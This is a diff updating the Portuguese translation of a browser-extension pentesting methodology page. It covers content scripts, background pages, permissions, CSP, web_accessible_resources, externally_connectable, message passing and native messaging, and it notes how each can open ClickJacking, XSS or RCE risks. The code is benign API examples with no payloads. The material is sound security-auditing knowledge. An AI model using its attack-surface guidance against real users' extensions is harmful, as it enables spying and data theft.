@ -78,7 +78,7 @@ Os scripts de conteúdo são **carregados** sempre que o usuário **navega para
```
Para incluir ou excluir mais URLs, também é possível usar **`include_globs`** e **`exclude_globs`**.
Este é um exemplo de script de conteúdo que adicionará um botão de explicação à página quando [a API de armazenamento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) for usada para recuperar o valor `message` do armazenamento da extensão.
Este é um content script de exemplo que adicionará um botão "Explain" à página quando [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) for usado para recuperar o valor `message` do armazenamento da extensão.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,22 +91,22 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo quando este botão é clicado, através da utilização da [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso se deve à limitação do script de conteúdo em acessar diretamente as APIs, sendo `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
Uma mensagem é enviada para as páginas da extensão pelo content script quando este botão é clicado, por meio da utilização da [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do content script em acessar APIs diretamente, com `storage` sendo uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para páginas da extensão com as quais os content scripts podem se comunicar.
> [!WARNING]
> Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação dos desenvolvedores do Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como a fonte principal.\
> Também é importante notar que os scripts de conteúdo têm a capacidade de se comunicar com scripts de fundo, permitindo que realizem ações e retransmitam respostas.
> Dependendo do navegador, as capacidades do content script podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como a fonte principal.\
> Também vale notar que os content scripts podem se comunicar com background scripts, permitindo que executem ações e retornem respostas.
Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas de desenvolvedor do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
Para visualizar e depurar content scripts no Chrome, o menu Chrome developer tools pode ser acessado em Options > More tools > Developer tools OU pressionando Ctrl + Shift + I.
Após as ferramentas de desenvolvedor serem exibidas, a aba **Source** deve ser clicada, seguida pela aba **Content Scripts**. Isso permite a observação de scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
Com o developer tools exibido, clique na **Source tab**, seguida pela **Content Scripts** tab. Isso permite observar os content scripts em execução de várias extensões e definir breakpoints para acompanhar o fluxo de execução.
### Scripts de conteúdo injetados
### Content scripts injetados
> [!TIP]
> Note que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar** scripts **dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso na verdade fornece mais **controles granulares**.
> Observe que **Content Scripts não são obrigatórios**, pois também é possível **injetar** scripts de forma **dinâmica** e **programaticamente** em páginas web via **`tabs.executeScript`**. Isso fornece controles mais **granulares**.
Para a injeção programática de um script de conteúdo, a extensão deve ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts devem ser injetados. Essas permissões podem ser obtidas solicitando-as dentro do manifesto da extensão ou de forma temporária através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Para a injeção programática de um content script, a extensão precisa ter [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser obtidas seja **solicitando-as** no manifest da extensão, seja temporariamente através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Exemplo de extensão baseada em activeTab
```json:manifest.json
@ -138,7 +138,7 @@ files: ["content-script.js"],
})
})
```
- **Injetar uma função** ao clicar:
- **Inject a function** ao clicar:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -169,14 +169,14 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
Para incluir ou excluir mais URLs, também é possível usar **`include_globs`** e **`exclude_globs`**.
### Content Scripts `run_at`
### Scripts de Conteúdo `run_at`
O campo `run_at` controla **quando os arquivos JavaScript são injetados na página da web**. O valor preferido e padrão é `"document_idle"`.
O campo `run_at` controla **quando os arquivos JavaScript são injetados na página web**. O valor preferido e padrão é `"document_idle"`.
Os valores possíveis são:
- **`document_idle`**: Sempre que possível
- **`document_start`**: Após quaisquer arquivos de `css`, mas antes que qualquer outro DOM seja construído ou qualquer outro script seja executado.
- **`document_start`**: Após quaisquer arquivos de `css`, mas antes de qualquer outro DOM ser construído ou qualquer outro script ser executado.
- **`document_end`**: Imediatamente após o DOM estar completo, mas antes que subrecursos como imagens e frames tenham sido carregados.
#### Via `manifest.json`
@ -195,7 +195,7 @@ Os valores possíveis são:
}
```
Via **`service-worker.js`**
Através de **`service-worker.js`**
```javascript
chrome.scripting.registerContentScripts([
{
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
Mensagens enviadas por scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida útil da extensão, operando discretamente sem interação direta do usuário. Ela possui seu próprio Modelo de Objeto de Documento (DOM), permitindo interações complexas e gerenciamento de estado.
Mensagens enviadas por content scripts são recebidas pela **página em segundo plano**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página em segundo plano persiste durante todo o ciclo de vida da extensão, operando discretamente sem interação direta do usuário. Ela possui seu próprio Document Object Model (DOM), permitindo interações complexas e gerenciamento de estado.
**Pontos Chave**:
**Pontos-chave**:
- **Papel da Página de Fundo:** Atua como o centro nervoso da extensão, garantindo comunicação e coordenação entre várias partes da extensão.
- **Função da página em segundo plano:** Atua como o centro nervoso da extensão, garantindo comunicação e coordenação entre suas várias partes.
- **Persistência:** É uma entidade sempre presente, invisível ao usuário, mas integral à funcionalidade da extensão.
- **Geração Automática:** Se não for explicitamente definida, o navegador criará automaticamente uma página de fundo. Esta página gerada automaticamente incluirá todos os scripts de fundo especificados no manifesto da extensão, garantindo a operação contínua das tarefas de fundo da extensão.
- **Geração automática:** Se não definida explicitamente, o navegador criará automaticamente uma página em segundo plano. Essa página gerada automaticamente incluirá todos os scripts em segundo plano especificados no manifest da extensão, garantindo a operação contínua das tarefas em segundo plano da extensão.
> [!TIP]
> A conveniência proporcionada pelo navegador ao gerar automaticamente uma página de fundo (quando não declarada explicitamente) garante que todos os scripts de fundo necessários estejam integrados e operacionais, simplificando o processo de configuração da extensão.
> A conveniência oferecida pelo navegador ao gerar automaticamente uma página em segundo plano (quando não declarada explicitamente) garante que todos os scripts em segundo plano necessários estejam integrados e operacionais, simplificando o processo de configuração da extensão.
Exemplo de script de fundo:
Exemplo de script em segundo plano:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
Usa a [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escutar mensagens. Quando uma mensagem `"explain"` é recebida, usa a [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
Ele usa a [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escutar mensagens. Quando uma mensagem `"explain"` é recebida, ele usa a [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
Para depurar o script de fundo, você pode ir para os **detalhes da extensão e inspecionar o service worker,** isso abrirá as ferramentas de desenvolvedor com o script de fundo:
Para debugar o background script você pode ir aos **extension details and inspect the service worker,** isso abrirá as ferramentas de desenvolvedor com o background script:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### Páginas de opções e outras
As extensões de navegador podem conter vários tipos de páginas:
Browser extensions podem conter vários tipos de páginas:
- **Páginas de ação** são exibidas em um **menu suspenso quando o ícone da extensão** é clicado.
- Páginas que a extensão irá **carregar em uma nova aba**.
- **Páginas de Opção**: Esta página é exibida no topo da extensão quando clicada. No manifesto anterior, eu consegui acessar esta página em `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou clicando:
- **Action pages** são exibidas em um **drop-down when the extension ico**n is clicked.
- Páginas que a extensão irá **load in a new tab**.
- **Option Pages**: Esta página é exibida sobre a extensão quando clicada. No manifest anterior, no meu caso consegui acessar essa página em `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou clicando:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Note que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme a necessidade. Apesar disso, elas compartilham certas capacidades com a página de fundo:
Note que essas páginas não são persistentes como background pages, pois carregam conteúdo dinamicamente conforme necessário. Apesar disso, elas compartilham certas capacidades com a background page:
- **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
- **Acesso a APIs Específicas da Extensão:** Essas páginas têm acesso abrangente a APIs específicas da extensão, sujeito às permissões definidas para a extensão.
- **Communication with Content Scripts:** Semelhante ao background page, estas páginas podem receber mensagens de content scripts, facilitando a interação dentro da extensão.
- **Access to Extension-Specific APIs:** Essas páginas têm acesso abrangente às extension-specific APIs, sujeitas às permissões definidas para a extensão.
### `permissions` & `host_permissions`
**`permissions`** e **`host_permissions`** são entradas do `manifest.json` que indicarão **quais permissões** a extensão do navegador possui (armazenamento, localização...) e em **quais páginas da web**.
**`permissions`** e **`host_permissions`** são entradas do `manifest.json` que indicarão **quais permissões** a extensão do navegador possui (storage, location...) e em **quais páginas web**.
Como as extensões de navegador podem ser tão **privilegiadas**, uma maliciosa ou uma que foi comprometida poderia permitir ao atacante **diferentes meios de roubar informações sensíveis e espionar o usuário**.
Como as browser extensions podem ser tão **privileged**, uma extensão maliciosa ou comprometida poderia permitir ao atacante **different means to steal sensitive information and spy on the user**.
Confira como essas configurações funcionam e como podem ser abusadas em:
Verifique como essas configurações funcionam e como podem ser abusadas em:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -262,13 +263,14 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
Uma **política de segurança de conteúdo** pode ser declarada também dentro do `manifest.json`. Se houver uma definida, ela pode ser **vulnerável**.
Uma **content security policy** também pode ser declarada dentro do `manifest.json`. Se houver uma definida, ela pode ser **vulnerable**.
A configuração padrão para páginas de extensão de navegador é bastante restritiva:
A configuração padrão para as páginas da browser extension é bastante restritiva:
```bash
script-src 'self'; object-src 'self';
```
Para mais informações sobre CSP e possíveis contornos, consulte:
Para mais informações sobre CSP e possíveis bypasses, consulte:
{{#ref}}
../content-security-policy-csp-bypass/
@ -276,7 +278,7 @@ Para mais informações sobre CSP e possíveis contornos, consulte:
### `web_accessible_resources`
Para que uma página da web acesse uma página de uma Extensão do Navegador, uma página `.html`, por exemplo, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
Para que uma página web consiga acessar uma página de uma extensão do navegador, por exemplo um arquivo `.html`, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
Por exemplo:
```javascript
{
@ -294,20 +296,21 @@ Por exemplo:
...
}
```
Essas páginas são acessíveis em URL como:
Essas páginas são acessíveis em URLs como:
```
chrome-extension://<extension-id>/message.html
```
Em extensões públicas, o **extension-id é acessível**:
In public extensions the **extension-id is accesible**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
No entanto, se o parâmetro `manifest.json` **`use_dynamic_url`** for utilizado, este **id pode ser dinâmico**.
Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**.
> [!TIP]
> Note que mesmo que uma página seja mencionada aqui, ela pode estar **protegida contra ClickJacking** graças à **Content Security Policy**. Portanto, você também precisa verificá-la (seção frame-ancestors) antes de confirmar que um ataque de ClickJacking é possível.
> Observe que, mesmo que uma página seja mencionada aqui, ela pode estar **protegida contra ClickJacking** graças à **Content Security Policy**. Portanto, você também precisa checar isso (seção frame-ancestors) antes de confirmar que um ataque ClickJacking é possível.
Permitir o acesso a essas páginas as torna **potencialmente vulneráveis a ClickJacking**:
Ter acesso a essas páginas torna essas páginas **potencialmente vulneráveis a ClickJacking**:
{{#ref}}
browext-clickjacking.md
@ -317,44 +320,44 @@ browext-clickjacking.md
> Permitir que essas páginas sejam carregadas apenas pela extensão e não por URLs aleatórias pode prevenir ataques de ClickJacking.
> [!CAUTION]
> Note que as páginas de **`web_accessible_resources`** e outras páginas da extensão também são capazes de **contatar scripts em segundo plano**. Portanto, se uma dessas páginas for vulnerável a **XSS**, isso pode abrir uma vulnerabilidade maior.
> Observe que as páginas listadas em **`web_accessible_resources`** e outras páginas da extensão também são capazes de **contatar background scripts**. Portanto, se uma dessas páginas for vulnerável a **XSS** isso pode abrir uma vulnerabilidade maior.
>
> Além disso, note que você só pode abrir páginas indicadas em **`web_accessible_resources`** dentro de iframes, mas a partir de uma nova aba é possível acessar qualquer página na extensão conhecendo o ID da extensão. Portanto, se um XSS for encontrado abusando dos mesmos parâmetros, ele pode ser explorado mesmo que a página não esteja configurada em **`web_accessible_resources`**.
> Além disso, lembre-se de que você só pode abrir páginas indicadas em **`web_accessible_resources`** dentro de iframes, mas a partir de uma nova aba é possível acessar qualquer página da extensão conhecendo o extension ID. Portanto, se for encontrada uma XSS que abuse dos mesmos parâmetros, ela poderia ser explorada mesmo que a página não esteja configurada em **`web_accessible_resources`**.
### `externally_connectable`
De acordo com os [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), a propriedade de manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Se a chave **`externally_connectable`** **não** for declarada no manifesto da sua extensão ou for declarada como **`"ids": ["*"]`**, **todas as extensões podem se conectar, mas nenhuma página da web pode se conectar**.
- Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas esses aplicativos** podem se conectar.
- Se **matches** forem especificados, esses aplicativos da web poderão se conectar:
- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**.
- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect.
- If **matches** are specified, those web apps will be able to connect:
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
- Se estiver especificado como vazio: **`"externally_connectable": {}`**, nenhum aplicativo ou site poderá se conectar.
- Se for especificado como vazio: **`"externally_connectable": {}`**, nenhum app ou site poderá se conectar.
Quanto **menos extensões e URLs** indicadas aqui, **menor será a superfície de ataque**.
Quanto **menos extensões e URLs** forem indicadas aqui, **menor será a superfície de ataque**.
> [!CAUTION]
> Se uma página da web **vulnerável a XSS ou takeover** estiver indicada em **`externally_connectable`**, um atacante poderá **enviar mensagens diretamente para o script de fundo**, contornando completamente o Content Script e seu CSP.
> Se uma página web **vulnerável a XSS ou takeover** for indicada em **`externally_connectable`**, um atacante poderá **enviar mensagens diretamente ao background script**, contornando completamente o Content Script e seu CSP.
>
> Portanto, este é um **bypass muito poderoso**.
>
> Além disso, se o cliente instalar uma extensão maliciosa, mesmo que não tenha permissão para se comunicar com a extensão vulnerável, ela pode injetar **dados XSS em uma página da web permitida** ou abusar das APIs **`WebRequest`** ou **`DeclarativeNetRequest`** para manipular solicitações em um domínio alvo alterando a solicitação de uma **arquivo JavaScript**. (Note que o CSP na página alvo pode prevenir esses ataques). Esta ideia vem [**deste writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Além disso, se o cliente instalar uma extensão maliciosa, mesmo que ela não esteja autorizada a se comunicar com a extensão vulnerável, ela poderia injetar **dados XSS em uma página web permitida** ou abusar das APIs **`WebRequest`** ou **`DeclarativeNetRequest`** para manipular requisições em um domínio alvo, alterando a requisição de uma página por um **arquivo JavaScript**. (Observe que o CSP na página alvo pode prevenir esses ataques). Esta ideia vem [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Resumo da comunicação
## Resumo de comunicação
### Extensão <--> WebApp
Para se comunicar entre o script de conteúdo e a página da web, mensagens postadas são geralmente usadas. Portanto, na aplicação web você geralmente encontrará chamadas para a função **`window.postMessage`** e, no script de conteúdo, ouvintes como **`window.addEventListener`**. Note, no entanto, que a extensão também pode **se comunicar com a aplicação web enviando uma Post Message** (e, portanto, a web deve esperar por isso) ou apenas fazer a web carregar um novo script.
Para comunicar entre o Content Script e a página web, normalmente são usados post messages. Portanto, na aplicação web normalmente você encontrará chamadas para a função **`window.postMessage`** e, no Content Script, listeners como **`window.addEventListener`**. Note, porém, que a extensão também poderia **se comunicar com a aplicação web enviando um Post Message** (e, portanto, a aplicação web deve esperar por isso) ou simplesmente fazer com que a web carregue um novo script.
### Dentro da extensão
Geralmente, a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo script `background`) e, para recebê-la e manipulá-la, um ouvinte é declarado chamando **`chrome.runtime.onMessage.addListener`**.
Normalmente a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo `background` script) e, para receber e tratá-la, um listener é declarado chamando **`chrome.runtime.onMessage.addListener`**.
Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-la para **enviar** e **receber** **mensagens** como no seguinte exemplo:
Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas; é possível usá-la para **enviar** e **receber** **mensagens** como no exemplo a seguir:
<details>
@ -389,19 +392,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
Também é possível enviar mensagens de um script de fundo para um script de conteúdo localizado em uma aba específica chamando **`chrome.tabs.sendMessage`**, onde você precisará indicar o **ID da aba** para a qual enviar a mensagem.
Também é possível enviar mensagens de um script em segundo plano para um script de conteúdo localizado em uma aba específica chamando **`chrome.tabs.sendMessage`**, onde você precisará indicar o **ID da aba** para enviar a mensagem.
### De `externally_connectable` permitido para a extensão
### De `externally_connectable` permitidos para a extensão
**Aplicativos da web e extensões de navegador externas permitidas** na configuração `externally_connectable` podem enviar solicitações usando:
**Aplicações web e extensões de navegador externas permitidas** na configuração `externally_connectable` podem enviar requisições usando :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
Onde é necessário mencionar o **ID da extensão**.
Quando for necessário mencionar o **extension ID**.
### Mensagens Nativas
### Native Messaging
É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não for devidamente protegida. [Mais sobre isso mais tarde](#native-messaging).
É possível que os background scripts se comuniquem com binaries no sistema, o que pode ser **suscetível a vulnerabilidades críticas, como RCEs**, se essa comunicação não for adequadamente protegida. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -411,11 +414,11 @@ console.log("Received " + response)
}
)
```
## Web **↔︎** Comunicação de Script de Conteúdo
## Comunicação Web **↔︎** Content Script
Os ambientes onde os **scripts de conteúdo** operam e onde as páginas host existem são **separados** um do outro, garantindo **isolamento**. Apesar desse isolamento, ambos têm a capacidade de interagir com o **Modelo de Objeto de Documento (DOM)** da página, um recurso compartilhado. Para que a página host se envolva em comunicação com o **script de conteúdo**, ou indiretamente com a extensão através do script de conteúdo, é necessário utilizar o **DOM** que é acessível por ambas as partes como o canal de comunicação.
Os ambientes onde os **content scripts** operam e onde as páginas host existem são **separados** entre si, garantindo **isolamento**. Apesar desse isolamento, ambos têm a capacidade de interagir com o **Document Object Model (DOM)** da página, um recurso compartilhado. Para que a página host se comunique com o **content script**, ou indiretamente com a extensão através do content script, é necessário utilizar o **DOM** acessível por ambas as partes como canal de comunicação.
### Mensagens Post
### Post Messages
```javascript:content-script.js
// This is like "chrome.runtime.sendMessage" but to maintain the connection
var port = chrome.runtime.connect()
@ -450,15 +453,16 @@ window.postMessage(
false
)
```
Uma comunicação segura de Post Message deve verificar a autenticidade da mensagem recebida, isso pode ser feito verificando:
Uma comunicação Post Message segura deve verificar a autenticidade da mensagem recebida; isso pode ser feito verificando:
- **`event.isTrusted`**: Isso é True apenas se o evento foi acionado por uma ação do usuário
- O script de conteúdo pode esperar uma mensagem apenas se o usuário realizar alguma ação
- **domínio de origem**: pode esperar uma mensagem apenas de uma lista de domínios permitidos.
- **`event.isTrusted`**: Isso é True somente se o evento foi disparado por uma ação do usuário
- O Content Script pode esperar uma mensagem apenas se o usuário executar alguma ação
- **origin domain**: pode esperar uma mensagem apenas de uma allowlist de domínios.
- Se uma regex for usada, tenha muito cuidado
- **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo.
- **Source**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Content Script está escutando.
As verificações anteriores, mesmo se realizadas, podem ser vulneráveis; portanto, confira na página a seguir **potential Post Message bypasses**:
As verificações anteriores, mesmo que realizadas, podem ser vulneráveis, então verifique na página seguinte **potenciais bypasses de Post Message**:
{{#ref}}
../postmessage-vulnerabilities/
@ -466,7 +470,8 @@ As verificações anteriores, mesmo que realizadas, podem ser vulneráveis, ent
### Iframe
Outra possível forma de comunicação pode ser através de **URLs de Iframe**, você pode encontrar um exemplo em:
Outra forma possível de comunicação pode ser através de **Iframe URLs**, você pode encontrar um exemplo em:
{{#ref}}
browext-xss-example.md
@ -474,21 +479,22 @@ browext-xss-example.md
### DOM
Isso não é "exatamente" uma forma de comunicação, mas o **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo algumas informações dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
Isso não é "exatamente" uma forma de comunicação, mas a web e o Content Script terão acesso ao web DOM. Então, se o **content script** estiver lendo alguma informação dele confiando no web DOM, a página poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a página é vulnerável a XSS) e **comprometer o Content Script**.
Você também pode encontrar um exemplo de um **DOM based XSS to compromise a browser extension** em:
Você também pode encontrar um exemplo de um **XSS baseado em DOM para comprometer uma extensão de navegador** em:
{{#ref}}
browext-xss-example.md
{{#endref}}
## Comunicação entre Script de Conteúdo **↔︎** Script de Fundo
## Content Script **↔︎** Background Script Communication
Um Script de Conteúdo pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON de uma única vez**.
Um Content Script pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **one-time JSON-serializable**.
Para lidar com a **resposta**, use a **Promise** retornada. Embora, para compatibilidade retroativa, você ainda possa passar um **callback** como o último argumento.
Para lidar com a **response**, use a **Promise** retornada. Embora, por compatibilidade retroativa, você ainda possa passar um **callback** como último argumento.
Enviar uma solicitação de um **script de conteúdo** se parece com isto:
Enviar uma request a partir de um **content script** fica assim:
```javascript
;(async () => {
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@ -496,7 +502,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
Enviando uma solicitação da **extensão** (geralmente um **script de fundo**). Exemplo de como enviar uma mensagem para o script de conteúdo na aba selecionada:
Enviando uma requisição a partir da **extension** (normalmente um **background script**). Exemplo de como enviar uma mensagem para o content script na tab selecionada:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -509,7 +515,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
No **lado receptor**, você precisa configurar um [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **ouvinte de eventos** para lidar com a mensagem. Isso parece o mesmo a partir de um script de conteúdo ou página de extensão.
No lado receptor, você precisa configurar um [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **ouvinte de eventos** para tratar a mensagem. Isso fica igual em um content script ou extension page.
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -521,15 +527,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
No exemplo destacado, **`sendResponse()`** foi executado de forma síncrona. Para modificar o manipulador de eventos `onMessage` para a execução assíncrona de `sendResponse()`, é imperativo incorporar `return true;`.
No exemplo destacado, **`sendResponse()`** foi executado de forma síncrona. Para modificar o manipulador de eventos `onMessage` para execução assíncrona de `sendResponse()`, é imprescindível incorporar `return true;`.
Uma consideração importante é que, em cenários onde várias páginas estão configuradas para receber eventos `onMessage`, **a primeira página a executar `sendResponse()`** para um evento específico será a única capaz de entregar a resposta efetivamente. Quaisquer respostas subsequentes para o mesmo evento não serão levadas em conta.
Uma consideração importante é que, em cenários onde múltiplas páginas estão configuradas para receber eventos `onMessage`, **a primeira página a executar `sendResponse()`** para um evento específico será a única capaz de entregar a resposta de forma eficaz. Quaisquer respostas subsequentes ao mesmo evento não serão levadas em conta.
Ao criar novas extensões, a preferência deve ser por promessas em vez de callbacks. Em relação ao uso de callbacks, a função `sendResponse()` é considerada válida apenas se for executada diretamente dentro do contexto síncrono, ou se o manipulador de eventos indicar uma operação assíncrona retornando `true`. Se nenhum dos manipuladores retornar `true` ou se a função `sendResponse()` for removida da memória (coletada pelo garbage collector), o callback associado à função `sendMessage()` será acionado por padrão.
Ao criar novas extensões, a preferência deve ser por promises em vez de callbacks. Em relação ao uso de callbacks, a função `sendResponse()` é considerada válida somente se for executada diretamente dentro do contexto síncrono, ou se o manipulador de eventos indicar uma operação assíncrona retornando `true`. Caso nenhum dos manipuladores retorne `true` ou se a função `sendResponse()` for removida da memória (garbage-collected), o callback associado à função `sendMessage()` será acionado por padrão.
## Native Messaging
As extensões do navegador também permitem comunicar-se com **binários no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como:
Extensões de navegador também permitem se comunicar com **binários no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como:
```json
{
"name": "com.my_company.my_application",
@ -539,14 +545,14 @@ As extensões do navegador também permitem comunicar-se com **binários no sist
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Onde o `name` é a string passada para [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para se comunicar com a aplicação a partir dos scripts de fundo da extensão do navegador. O `path` é o caminho para o binário, há apenas 1 `type` válido que é stdio (use stdin e stdout) e os `allowed_origins` indicam as extensões que podem acessá-lo (e não podem ter wildcard).
Onde o `name` é a string passada para [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicar com o aplicativo a partir dos scripts em segundo plano da extensão do navegador. O `path` é o caminho para o binário, existe apenas 1 `type` válido que é stdio (use stdin and stdout) e os `allowed_origins` indicam as extensões que podem acessá-lo (não podem usar coringa).
O Chrome/Chromium irá procurar por este json em alguns registros do Windows e alguns caminhos no macOS e Linux (mais informações na [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
Chrome/Chromium irá procurar por esse json em alguns registros do Windows e em alguns caminhos no macOS e Linux (mais informações nos [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> A extensão do navegador também precisa da permissão `nativeMessaing` declarada para poder usar essa comunicação.
